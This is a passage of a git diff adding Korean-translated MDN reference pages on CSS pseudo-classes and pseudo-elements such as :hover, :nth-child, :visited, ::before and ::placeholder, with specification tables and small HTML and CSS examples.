+  transition: background-color .5s;
+}
+
+a:hover {
+  background-color: gold;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationCommentFeedback
{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }} WHATWG HTML GitHub issues
{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}Allows :hover to be applied to any pseudo-element.CSS Working Group drafts GitHub issues
{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}  
{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}Initial definition. 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.hover")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_link/index.html b/files/ko/web/css/_colon_link/index.html new file mode 100644 index 0000000000..f17f896eab --- /dev/null +++ b/files/ko/web/css/_colon_link/index.html @@ -0,0 +1,105 @@ +--- +title: ':link' +slug: 'Web/CSS/:link' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:link' +--- +
{{ CSSRef }}
+ +

:link CSS 의사 클래스는 아직 방문하지 않은 요소를 나타냅니다. href 속성을 가진 {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}} 중 방문하지 않은 모든 요소를 선택합니다.

+ +
/* 아직 방문하지 않은 <a> 요소를 선택 */
+a:link {
+  color: red;
+}
+ +

:link 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":active")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :active 규칙을 다른 모든 링크 규칙들보다 앞에 배치하세요.

+ +
+

참고: 방문 여부에 상관하지 않고 요소를 선택하려면 {{cssxref(":any-link")}}를 사용하세요.

+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

대부분의 브라우저는 방문한 링크에 기본값으로 특별한 {{cssxref("color")}} 값을 지정합니다. 따라서 다음 예제의 링크를 방문한 적이 없을 때만 글자 색이 적용된 모습을 볼 수 있고, 방문한 적이 있으면 브라우저 기록을 지워서 확인할 수 있습니다. 그러나 방문한 링크의 배경색은 보통 브라우저가 지정하지 않으므로 {{cssxref("background-color")}}는 계속 확인할 수 있습니다.

+ +

HTML

+ +
<a href="#ordinary-target">평범한 링크입니다.</a><br>
+<a href="">이 링크는 이미 방문했습니다.</a><br>
+<a>플레이스홀더 링크 (스타일 적용 안됨)</a>
+
+ +

CSS

+ +
a:link {
+  background-color: gold;
+  color: green;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}{{ Spec2('HTML WHATWG') }} 
{{ SpecName('CSS4 Selectors', '#link', ':link') }}{{ Spec2('CSS4 Selectors') }}No change.
{{ SpecName('CSS3 Selectors', '#link', ':link') }}{{ Spec2('CSS3 Selectors') }}No change.
{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}{{ Spec2('CSS2.1') }}Lift the restriction to only apply it for {{ HTMLElement("a") }} element.
{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}{{ Spec2('CSS1') }}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.link")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_not/index.html b/files/ko/web/css/_colon_not/index.html new file mode 100644 index 0000000000..f471cce411 --- /dev/null +++ b/files/ko/web/css/_colon_not/index.html @@ -0,0 +1,71 @@ +--- +title: ':not()' +slug: 'Web/CSS/:not' +tags: + - CSS + - Layout + - Pseudo-class + - Reference +translation_of: 'Web/CSS/:not' +--- +
{{ CSSRef() }}
+ +

부정(negation) CSS 가상 클래스 :not(X)는 인수로 간단한 선택자(selector) X를 취하는 기능 표기법입니다. 인수로 표시되지 않은 요소와 일치합니다. X는 다른 부정 선택자를 포함해서는 안 됩니다.

+ +
주의: + + +
+ +

구문

+ +
:not(selector) { style properties }
+ +

예제

+ +
p:not(.classy) { color: red; }
+body :not(p) { color: green; }
+ +

위의 CSS 및 아래 HTML이 주어진다면...

+ +
<p>Some text.</p>
+<p class="classy">Some other text.</p>
+<span>One more text<span>
+
+ +

이 같은 출력을 얻습니다:

+ +

{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/:not') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS4 Selectors', '#negation', ':not()') }}{{ Spec2('CSS4 Selectors') }}인수로 일부 비 간단 선택자를 허용토록 확장.
{{ SpecName('CSS3 Selectors', '#negation', ':not()') }}{{ Spec2('CSS3 Selectors') }}초기 정의.
+ +

브라우저 호환성

+ +

{{Compat("css.selectors.not")}}

diff --git a/files/ko/web/css/_colon_nth-child/index.html b/files/ko/web/css/_colon_nth-child/index.html new file mode 100644 index 0000000000..2368a66641 --- /dev/null +++ b/files/ko/web/css/_colon_nth-child/index.html @@ -0,0 +1,196 @@ +--- +title: ':nth-child' +slug: 'Web/CSS/:nth-child' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:nth-child' +--- +
{{CSSRef}}
+ +

CSS :nth-child() 의사 클래스는 형제 사이에서의 순서에 따라 요소를 선택합니다.

+ +
/* 목록의 두 번째 <li> 선택 */
+li:nth-child(2) {
+  color: lime;
+}
+
+/* 임의의 그룹에서 네 번째에 위치하는 모든 요소 선택 */
+:nth-child(4n) {
+  color: lime;
+}
+
+ +

구문

+ +

nth-child 의사 클래스는 형제의 목록에서, 선택하려는 요소의 인덱스 패턴을 나타내는 하나의 매개변수를 사용해 지정합니다. 인덱스는 1부터 시작합니다.

+ +

키워드 값

+ +
+
odd
+
형제 요소에서 홀수번째(1, 3, 5, ...)인 요소를 나타냅니다.
+
even
+
형제 요소에서 짝수번째(2, 4, 6, ...)인 요소를 나타냅니다.
+
+ +

함수형 표기법

+ +
+
<An+B>
+
사용자 지정 패턴을 만족한 인덱스를 가지는 요소를 나타냅니다. An+B의 형태로 나타내며,
+     A는 정수 인덱스 증감량,
+     B는 정수 오프셋,
+     n은 0부터 시작하는 모든 양의 정수를 나타냅니다.
+
목록의 An+B번째 요소라고 해석할 수 있습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

선택자

+ +
+
tr:nth-child(odd) 또는 tr:nth-child(2n+1)
+
HTML 표의 홀수번째 행을 나타냅니다.
+
tr:nth-child(even) 또는 tr:nth-child(2n)
+
HTML 표의 짝수번째 행을 나타냅니다.
+
:nth-child(7)
+
임의의 7번째 요소를 나타냅니다.
+
:nth-child(5n)
+
5 [=5×1], 10 [=5×2], 15 [=5×3], ... 번째의 요소를 나타냅니다. 패턴 공식을 만족하는 첫 번째 값은 0 [=5x0]으로서 아무 요소도 선택하지 않는데, 요소의 인덱스는 1부터 시작하지만 n은 0부터 증가하기 때문입니다. 다소 의아할 수 있으나, 바로 아래 예제처럼 공식의 B 부분이 >0인 경우 보다 납득하기 쉬워집니다.
+
:nth-child(n+7)
+
7번째와 그 이후의 모든 요소, 즉 7 [=0+7], 8 [=1+7], 9 [=2+7], ... 를 나타냅니다.
+
:nth-child(3n+4)
+
4 [=(3×0)+4], 7 [=(3×1)+4], 10 [=(3×2)+4], 13 [=(3×3)+4], ... 번째의 요소를 나타냅니다.
+
:nth-child(-n+3)
+
앞에서 세 개의 요소를 나타냅니다. [=-0+3, -1+3, -2+3]
+
p:nth-child(n)
+
형제 그룹 내의 모든 <p> 요소를 나타냅니다. 단순한 p 선택자와 동일하지만 더 높은 명시도를 가집니다.
+
p:nth-child(1) 또는 p:nth-child(0n+1)
+
형제 그룹 내의 모든 첫 번째 <p> 요소를 나타냅니다. {{cssxref(":first-child")}} 선택자와 동일하며 같은 명시도를 가집니다.
+
p:nth-child(n+8):nth-child(-n+15)
+
형제 그룹 내에서 8번째부터 15번째 까지의 <p> 요소를 나타냅니다.
+
+ +

자세한 예제

+ +

HTML

+ +
<h3><code>span:nth-child(2n+1)</code>, WITHOUT an
+   <code>&lt;em&gt;</code> among the child elements.</h3>
+<p>Children 1, 3, 5, and 7 are selected.</p>
+<div class="first">
+  <span>Span 1!</span>
+  <span>Span 2</span>
+  <span>Span 3!</span>
+  <span>Span 4</span>
+  <span>Span 5!</span>
+  <span>Span 6</span>
+  <span>Span 7!</span>
+</div>
+
+<br>
+
+<h3><code>span:nth-child(2n+1)</code>, WITH an
+   <code>&lt;em&gt;</code> among the child elements.</h3>
+<p>Children 1, 5, and 7 are selected.<br>
+   3 is used in the counting because it is a child, but it isn't
+   selected because it isn't a <code>&lt;span&gt;</code>.</p>
+<div class="second">
+  <span>Span!</span>
+  <span>Span</span>
+  <em>This is an `em`.</em>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+</div>
+
+<br>
+
+<h3><code>span:nth-of-type(2n+1)</code>, WITH an
+   <code>&lt;em&gt;</code> among the child elements.</h3>
+<p>Children 1, 4, 6, and 8 are selected.<br>
+   3 isn't used in the counting or selected because it is an <code>&lt;em&gt;</code>,
+   not a <code>&lt;span&gt;</code>, and <code>nth-of-type</code> only selects
+   children of that type. The <code>&lt;em&gt;</code> is completely skipped
+   over and ignored.</p>
+<div class="third">
+  <span>Span!</span>
+  <span>Span</span>
+  <em>This is an `em`.</em>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+</div>
+ +

CSS

+ +
html {
+  font-family: sans-serif;
+}
+
+span,
+div em {
+  padding: 5px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+  background-color: lime;
+}
+ +

결과

+ +
{{EmbedLiveSample('자세한_예제', 550, 550)}}
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}{{Spec2('CSS4 Selectors')}}Adds of <selector> syntax and specifies that matching elements are not required to have a parent.
{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}{{Spec2('CSS3 Selectors')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.nth-child")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_root/index.html b/files/ko/web/css/_colon_root/index.html new file mode 100644 index 0000000000..5fb9ed0fd6 --- /dev/null +++ b/files/ko/web/css/_colon_root/index.html @@ -0,0 +1,78 @@ +--- +title: ':root' +slug: 'Web/CSS/:root' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:root' +--- +
{{CSSRef}}
+ +

CSS :root 의사 클래스는 문서 트리의 루트 요소를 선택합니다 HTML의 루트 요소는 {{htmlelement("html")}} 요소이므로, :root명시도가 더 낮다는 점을 제외하면 html 선택자와 똑같습니다.

+ +
/* 문서의 루트 요소 선택
+   HTML에서는 <html> */
+:root {
+  background: yellow;
+}
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

전역 CSS 변수 선언하기

+ +

:root는 전역 CSS 변수 선언에 유용하게 사용할 수 있습니다.

+ +
:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}{{Spec2('CSS3 Selectors')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.root")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_visited/index.html b/files/ko/web/css/_colon_visited/index.html new file mode 100644 index 0000000000..1c1f962b37 --- /dev/null +++ b/files/ko/web/css/_colon_visited/index.html @@ -0,0 +1,121 @@ +--- +title: ':visited' +slug: 'Web/CSS/:visited' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:visited' +--- +
{{ CSSRef }}
+ +

:visited CSS 의사 클래스는 사용자가 방문한 적이 있는 링크를 나타냅니다. :visited가 바꿀 수 있는 스타일은 개인정보 보호를 위해 매우 제한적입니다.

+ +
/* 방문한 적이 있는 <a> 선택 */
+a:visited {
+  color: green;
+}
+
+ +

:visited 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :visited 규칙을 :link 뒤, :hover:active 앞에 배치하세요.

+ +

스타일 제한

+ +

브라우저는 개인정보 보호를 위해 :visited에서 사용할 수 있는 스타일을 엄격히 제한하고 있습니다.

+ + + +
+

참고: 스타일 제한에 관한 더 많은 정보와 이유에 대해서는 개인정보와 :visited 선택자 문서를 참고하세요.

+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본적으로 색이 없거나 투명한 속성은 :visited로 수정할 수 없습니다. :visited가 수정 가능한 속성 중 브라우저가 기본값을 지정하는건 보통 colorcolumn-rule-color 뿐입니다. 따라서 다른 속성을 수정하고 싶다면 기본값을 직접 지정해야 합니다.

+ +

HTML

+ +
<a href="#test-visited-link">링크를 아직 방문하지 않으셨나요?</a><br>
+<a href="">이미 방문했습니다.</a>
+ +

CSS

+ +
a {
+  /* 특정 속성에 투명하지 않은 기본값을 지정해
+     :visited 상태로 바꿀 수 있도록 설정 */
+  background-color: white;
+  border: 1px solid white;
+}
+
+a:visited {
+  background-color: yellow;
+  border-color: hotpink;
+  color: hotpink;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}{{ Spec2('HTML WHATWG') }} 
{{ SpecName('CSS4 Selectors', '#link', ':visited') }}{{ Spec2('CSS4 Selectors') }}No change.
{{ SpecName('CSS3 Selectors', '#link', ':visited') }}{{ Spec2('CSS3 Selectors') }}No change.
{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}{{ Spec2('CSS2.1') }}Lifts the restriction to only apply :visited to the {{ HTMLElement("a") }} element. Lets browsers restrict its behavior for privacy reasons.
{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}{{ Spec2('CSS1') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.visited")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_doublecolon_after/index.html b/files/ko/web/css/_doublecolon_after/index.html new file mode 100644 index 0000000000..30f44876f7 --- /dev/null +++ b/files/ko/web/css/_doublecolon_after/index.html @@ -0,0 +1,179 @@ +--- +title: '::after (:after)' +slug: 'Web/CSS/::after' +tags: + - CSS + - Layout + - Pseudo-element + - Reference + - Web +translation_of: 'Web/CSS/::after' +--- +
{{CSSRef}}
+ +

CSS에서, ::after는 선택한 요소의 맨 마지막 자식으로 의사 요소를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다. 기본값은 인라인입니다.

+ +
/* 링크 뒤에 화살표 추가 */
+a::after {
+  content: "";
+}
+ +
+

참고: ::before::after로 생성한 의사 요소는 원본 요소의 서식 박스에 포함되므로, {{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 대체 요소에 적용할 수 없습니다.

+
+ +

구문

+ +
{{csssyntax}}
+ +
+

참고: 의사 클래스의사 요소를 구분하기 위해 CSS3부터::after 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 :after도 허용합니다.

+
+ +

예제

+ +

간단한 사용법

+ +

평범한 문단과 흥미진진한 문단을 위해 클래스 두 개를 만들고, 문단 마지막에 의사 요소를 추가해보겠습니다.

+ +

HTML

+ +
<p class="boring-text">적당히 평범하고 심심한 글입니다.</p>
+<p>지루하지도 흥미진진하지도 않은 글입니다.</p>
+<p class="exciting-text">MDN 기여는 쉽고 재밌습니다.</p>
+ +

CSS

+ +
.exciting-text::after {
+  content: " <- 흥미진진!";
+  color: green;
+}
+
+.boring-text::after {
+  content: " <- 먼지풀풀";
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('간단한_사용법', 500, 150)}}

+ +

장식 예제

+ +

{{cssxref("content")}} 속성을 활용해 자유롭게 텍스트나 이미지를 추가할 수 있습니다.

+ +

HTML

+ +
<span class="ribbon">마지막의 주황색 상자를 바라보세요.</span>
+ +

CSS

+ +
.ribbon {
+ background-color: #5BC8F7;
+}
+
+.ribbon::after {
+ content: "멋진 주황색 상자입니다.";
+ background-color: #FFBA10;
+ border-color: black;
+ border-style: dotted;
+}
+ +

결과

+ +

{{ EmbedLiveSample('장식_예제', 550, 40) }}

+ +

툴팁

+ +

다음 예제는 ::after와 함께 CSS {{cssxref("attr", "attr()")}} 표현식, data-descr 사용자 설정 데이터 속성을 사용해 툴팁을 구현합니다. JavaScript 없이요!

+ +

tabindex="0"을 추가해 각 span에 포커스가 갈 수 있도록 지정한 후, CSS :focus 선택자를 추가하여 키보드 사용자도 지원할 수 있습니다. 예제를 통해 ::before와 ::after가 얼마나 유연한지 확인할 수 있지만, 가장 접근성이 뛰어난 구현을 위해서라면 요약과 세부 요소처럼 의미를 담은 요소를 활용하는 편이 좋습니다.

+ +

HTML

+ +
<p>이 예제는
+  <span tabindex="0" data-descr="단어와 문장 부호의 집합">텍스트</span>와 함께 약간의
+  <span tabindex="0" data-descr="호버 시 보여지는 작은 팝업">툴팁</span>을 포함합니다.
+</p>
+
+ +

CSS

+ +
span[data-descr] {
+  position: relative;
+  text-decoration: underline;
+  color: #00F;
+  cursor: help;
+}
+
+span[data-descr]:hover::after,
+span[data-descr]:focus::after {
+  content: attr(data-descr);
+  position: absolute;
+  left: 0;
+  top: 24px;
+  min-width: 200px;
+  border: 1px #aaaaaa solid;
+  border-radius: 10px;
+  background-color: #ffffcc;
+  padding: 12px;
+  color: #000000;
+  font-size: 14px;
+  z-index: 1;
+}
+ +

결과

+ +

{{EmbedLiveSample('툴팁', 450, 120)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}{{ Spec2('CSS4 Pseudo-Elements')}}No significant changes to the previous specification.
{{ Specname("CSS3 Transitions", "#animatable-properties", "") }}{{ Spec2("CSS3 Transitions")}}Allows transitions on properties defined on pseudo-elements.
{{ Specname("CSS3 Animations", "", "") }}{{ Spec2("CSS3 Animations")}}Allows animations on properties defined on pseudo-elements.
{{ SpecName('CSS3 Selectors', '#gen-content', '::after') }}{{ Spec2('CSS3 Selectors') }}Introduces the two-colon syntax.
{{ SpecName('CSS2.1', 'generate.html#before-after-content', '::after') }}{{ Spec2('CSS2.1') }}Initial definition, using the one-colon syntax
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.after")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_doublecolon_before/index.html b/files/ko/web/css/_doublecolon_before/index.html new file mode 100644 index 0000000000..211107af88 --- /dev/null +++ b/files/ko/web/css/_doublecolon_before/index.html @@ -0,0 +1,237 @@ +--- +title: '::before (:before)' +slug: 'Web/CSS/::before' +tags: + - CSS + - Layout + - Pseudo-element + - Reference + - Web +translation_of: 'Web/CSS/::before' +--- +
{{CSSRef}}
+ +

CSS에서, ::before는 선택한 요소의 첫 자식으로 의사 요소를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다. 기본값은 인라인입니다.

+ +
/* 링크 앞에 하트 추가 */
+a::after {
+  content: "";
+}
+ +
+

참고: ::before::after로 생성한 의사 요소는 원본 요소의 서식 박스에 포함되므로, {{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 대체 요소에 적용할 수 없습니다.

+
+ +

구문

+ +
{{csssyntax}}
+ +
+

참고: 의사 클래스의사 요소를 구분하기 위해 CSS3부터::before 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 :before도 허용합니다.

+
+ +

예제

+ +

인용 표시 추가

+ +

One simple example of using ::before pseudo-elements is to provide quotation marks. Here we use both ::before and {{Cssxref("::after")}} to insert quotation characters.

+ +

HTML

+ +
<q>Some quotes,</q> he said, <q>are better than none.</q>
+ +

CSS

+ +
q::before {
+  content: "«";
+  color: blue;
+}
+
+q::after {
+  content: "»";
+  color: red;
+}
+ +

Result

+ +

{{EmbedLiveSample('인용_표시_추가', '500', '50', '')}}

+ +

장식 예제

+ +

We can style text or images in the {{cssxref("content")}} property almost any way we want.

+ +

HTML

+ +
<span class="ribbon">Notice where the orange box is.</span>
+ +

CSS

+ +
.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Look at this orange box.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}
+ +

Result

+ +

{{EmbedLiveSample('장식_예제', 450, 60)}}

+ +

할 일 목록

+ +

In this example we will create a simple to-do list using pseudo-elements. This method can often be used to add small touches to the UI and improve user experience.

+ +

HTML

+ +
<ul>
+  <li>Buy milk</li>
+  <li>Take the dog for a walk</li>
+  <li>Exercise</li>
+  <li>Write code</li>
+  <li>Play music</li>
+  <li>Relax</li>
+</ul>
+
+ +

CSS

+ +
li {
+  list-style-type: none;
+  position: relative;
+  margin: 2px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}
+ +

JavaScript

+ +
var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if (ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+
+ +

Here is the above code example running live. Note that there are no icons used, and the check-mark is actually the ::before that has been styled in CSS. Go ahead and get some stuff done.

+ +

Result

+ +

{{EmbedLiveSample('할_일_목록', 400, 300)}}

+ +

특수문자

+ +

As this is CSS; not HTML, you can not use markup entities in content values. If you need to use a special character, and can not enter it literally into your CSS content string, use a unicodeescape sequence, consistingof a backslash followed by the hexadecimal unicode value.

+ +

HTML

+ +
<ol>
+  <li>Crack Eggs into bowl</li>
+  <li>Add Milk</li>
+  <li>Add Flour</li>
+  <li aria-current='step'>Mix thoroughly into a smooth batter</li>
+  <li>Pour a ladleful of batter onto a hot, greased, flat frying pan</li>
+  <li>Fry until the top of the pancake loses its gloss</li>
+  <li>Flip it over and fry for a couple more minutes</li>
+  <li>serve with your favorite topping</li>
+</ol>
+
+ +

CSS

+ +

+li {
+  padding:0.5em;
+}
+
+li[aria-current='step'] {
+  font-weight:bold;
+}
+
+li[aria-current='step']::after {
+  content: " \21E6"; /* Hexadecimal for Unicode Leftwards white arrow*/
+  display: inline;
+}
+
+
+ +

Result

+ +

{{EmbedLiveSample('특수문자', 400, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}{{Spec2('CSS4 Pseudo-Elements')}}No significant changes to the previous specification.
{{Specname("CSS3 Transitions", "#animatable-properties", "")}}{{Spec2("CSS3 Transitions")}}Allows transitions on properties defined on pseudo-elements.
{{Specname("CSS3 Animations", "", "")}}{{Spec2("CSS3 Animations")}}Allows animations on properties defined on pseudo-elements.
{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}{{Spec2('CSS3 Selectors')}}Introduces the two-colon syntax.
{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}{{Spec2('CSS2.1')}}Initial definition, using the one-colon syntax
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.before")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_doublecolon_placeholder/index.html b/files/ko/web/css/_doublecolon_placeholder/index.html new file mode 100644 index 0000000000..0a6c4a093f --- /dev/null +++ b/files/ko/web/css/_doublecolon_placeholder/index.html @@ -0,0 +1,147 @@ +--- +title: '::placeholder' +slug: 'Web/CSS/::placeholder' +translation_of: 'Web/CSS/::placeholder' +--- +
{{CSSRef}}
+ +

The ::placeholder CSS pseudo-element represents the placeholder text in an {{HTMLElement("input")}} or {{HTMLElement("textarea")}} element.

+ +
::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}
+ +

Only the subset of CSS properties that apply to the {{cssxref("::first-line")}} pseudo-element can be used in a rule using ::placeholder in its selector.

+ +
+

Note: In most browsers, the appearance of placeholder text is a translucent or light gray color by default.

+
+ +

Syntax

+ +
{{csssyntax}}
+ +

Accessibility concerns

+ +

Color contrast

+ +

Contrast Ratio

+ +

Placeholder text typically has a lighter color treatment to indicate that it is a suggestion for what kind of input will be valid, and is not actual input of any kind.

+ +

It is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.

+ +

Color contrast ratio is determined by comparing the luminosity of the placeholder text and the input background color values. In order to meet current Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.

+ + + +

Usability

+ +

Placeholder text with sufficient color contrast may be interpreted as entered input. Placeholder text will also disappear when a person enters content into an {{htmlelement("input")}} element. Both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns.

+ +

An alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to programmatically associate the {{HTMLElement("input")}} with its hint.

+ +

With this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded. Most screen reading technology will use aria-describedby to read the hint after the input's label text is announced, and the person using the screen reader can mute it if they find the extra information unnecessary.

+ +
<label for="user-email">Your email address</label>
+<span id="user-email-hint" class="input-hint">Example: jane@sample.com</span>
+<input id="user-email" aria-describedby="user-email-hint" name="email" type="email">
+
+ + + +

Windows High Contrast Mode

+ +

Placeholder text will appear with the same styling as user-entered text content when rendered in Windows High Contrast Mode. This will make it difficult for some people to determine which content has been entered, and which content is placeholder text.

+ + + +

Labels

+ +

Placeholders are not a replacement for the {{htmlelement("label")}} element. Without a label that has been programmatically associated with an input using a combination of the {{htmlattrxref("for", "label")}} and {{htmlattrxref("id")}} attributes, assistive technology such as screen readers cannot parse {{htmlelement("input")}} elements.

+ + + +

Examples

+ +

Red text

+ +

HTML

+ +
<input placeholder="Type something here!">
+ +

CSS

+ +
input::placeholder {
+  color: red;
+  font-size: 1.2em;
+  font-style: italic;
+}
+ +

Result

+ +

{{EmbedLiveSample("Red_text", 200, 60)}}

+ +

Green text

+ +

HTML

+ +
<input placeholder="Type something here...">
+ +

CSS

+ +
input::placeholder {
+  color: green;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Green_text", 200, 60)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}{{Spec2('CSS4 Pseudo-Elements')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("css.selectors.placeholder")}}

+
+ +

See also

+ + diff --git a/files/ko/web/css/actual_value/index.html b/files/ko/web/css/actual_value/index.html new file mode 100644 index 0000000000..9b9bf9ce2f --- /dev/null +++ b/files/ko/web/css/actual_value/index.html @@ -0,0 +1,47 @@ +--- +title: 실제값 +slug: Web/CSS/actual_value +tags: + - CSS + - Reference +translation_of: Web/CSS/actual_value +--- +
{{CSSRef}}
+ +

CSS 속성의 실제값은 모든 근사치(approximation)가 적용된 뒤의 사용값입니다. 예를 들어, 사용자 에이전트는 오직 정수 픽셀값으로 테두리(border)를 렌더링할 수도 있고 테두리의 계산된 폭(width)에 근접하도록 강제할 지도 모릅니다.

+ +

Calculating a property's actual value

+ +

The {{glossary("user agent")}} performs four steps to calculate a property's actual (final) value:

+ +
    +
  1. First, the specified value is determined based on the result of cascadinginheritance, or using the initial value.
  2. +
  3. Next, the computed value is calculated according to the specification (for example, a span with position: absolute will have its computed display changed to block).
  4. +
  5. Then, layout is calculated, resulting in the used value.
  6. +
  7. Finally, the used value is transformed according to the limitations of the local environment, resulting in the actual value.
  8. +
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}{{Spec2('CSS2.1')}}초기 정의.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/align-content/index.html b/files/ko/web/css/align-content/index.html new file mode 100644 index 0000000000..43c4ece03e --- /dev/null +++ b/files/ko/web/css/align-content/index.html @@ -0,0 +1,297 @@ +--- +title: align-content +slug: Web/CSS/align-content +tags: + - CSS + - CSS Box Alignment + - CSS Property + - Reference +translation_of: Web/CSS/align-content +--- +

